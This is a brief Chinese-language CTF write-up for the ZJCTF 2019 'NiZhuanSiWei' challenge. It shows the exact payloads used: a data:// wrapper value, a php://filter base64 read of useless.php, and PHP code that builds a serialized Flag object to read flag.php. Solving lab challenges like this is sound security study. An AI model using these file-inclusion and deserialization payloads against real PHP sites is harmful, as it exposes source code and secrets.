[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

审题

image-20240319213858902

看到可以传入file,text,和password三个参数。

知识点

php伪协议,反序列化

解题

  1. 传入text,看到有file_get_content函数,这个函数表示读取$text文件里的值,返回字符串。

    所以要传入text的为一个文件值,所以使用data协议写入参数。

    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    
  2. 看到include_once,是文件包含,使用php://filter伪协议将useless.php中的内容读取出来

    file=php://filter/convert.base64-encode/resource=useless.php
    
  3. 读出的内容为

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    
    
  4. 传入password,看到反序列化,

    构造
    <?php
        class Flag
        {  
            public $file='flag.php';
        }
        $a=new Flag;
        echo serialize($a) ;
    ?>
    
  5. 传入得到flag。

posted @ 2024-03-26 22:19  follycat  阅读(28)  评论(0)    收藏  举报